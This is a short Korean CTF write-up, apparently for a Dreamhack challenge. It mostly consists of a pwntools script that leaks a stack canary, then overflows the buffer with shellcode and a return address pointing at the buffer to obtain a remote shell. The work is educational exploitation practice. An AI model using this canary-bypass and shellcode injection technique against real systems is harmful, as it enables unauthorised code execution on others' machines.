예제와 같은 문제이다.
첫번째 입력에서 카나리를 알아내고, 두번째 입력에서 셸코드를 보낸다.
from pwn import *
context.log_level='debug'
p=remote("host3.dreamhack.games", 13366)
context.arch="amd64"
#get buffer address
p.recvuntil(b"buf: ")
bufaddress=int(str(p.recvn(14), "utf"),16) # 버퍼 주소를 받아와서 16진수로 저장
#get difference between buffer & SFP, canary
p.recvuntil(b"rbp: ")
buf2s=int(str(p.recvline(),"utf")) # 버퍼와 SFP 주소 차이를 받아와서 16진수로 저장
buf2cnry=buf2s-8 # 카나리가 8바이트이므로
#get canary
p.sendafter(b"Input: ", b"A"*(buf2cnry+1)) # A를 버퍼와 카나리 사이의 널문자 까지 보냄
p.recvuntil(b"Your input is '")
p.recvn(buf2cnry+1) # 앞에 쓸데없는 내용 받아서 버리기
canary=u64(b"\x00"+p.recvn(7)) # 7바이트의 카나리 받아와서 앞에 00 붙이기
#exploit
shellcode=asm(shellcraft.sh()).ljust(buf2cnry, b'A') # 앞부분은 셸코드로, 뒷부분은 A로 채우기
shellcode+=p64(canary) # 카나리 붙이기
shellcode+=b'B'*0x8 # SFP 자리에는 아무거나 붙이기
shellcode+=p64(bufaddress) # 반환 주소 자리에는 버퍼 주소 붙이기
p.sendlineafter(b"Input: ", shellcode) # 셸코드 전송
p.interactive() # 셸 획득 후 상호작용

hex는 숫자를 받아와서 숫자가 아닌 문자열로 표현하는 함수이다.
항상 int형으로...
canary는 리틀 엔디언 방식에서 가져오는 것이므로 언패킹해서 저장한다.
프로세스에 전송할때는 다시 패킹해서 보낸다.